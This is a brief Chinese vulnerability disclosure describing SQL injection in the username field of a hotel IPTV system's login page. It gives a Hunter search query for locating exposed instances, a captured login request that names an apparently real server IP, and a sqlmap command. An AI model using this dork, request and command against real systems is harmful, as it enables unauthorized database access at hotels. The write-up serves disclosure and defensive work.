## 深圳市子辰视讯科技有限公司酒店智慧营销IPTV系统存在sql注入

1. hunter

web.title:"登录 - 酒店智慧营销IPTV系统"



1. 部分登录界面如下



1. 隐患URL

/xsiptva/cniptv/userlogin.php



1. 经测试，登录界面存在sql注入，username参数输入单引号报错，bp抓包如下

POST /xsiptva/cniptv/userlogin.php HTTP/1.1

Host:

Content-Length: 29

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://171.117.39.170:8880

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://171.117.39.170:8880/xsiptva/cniptv/userlogin.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=gf35ajl49vn2mlv9e2s2leu891

Connection: close

username=admin&password=admin

5、sqlmap验证如下，username参数存在隐患

sqlmap语句

python3 sqlmap.py -r 2.txt -p username --dbms=mysql --level 3 --thread 5

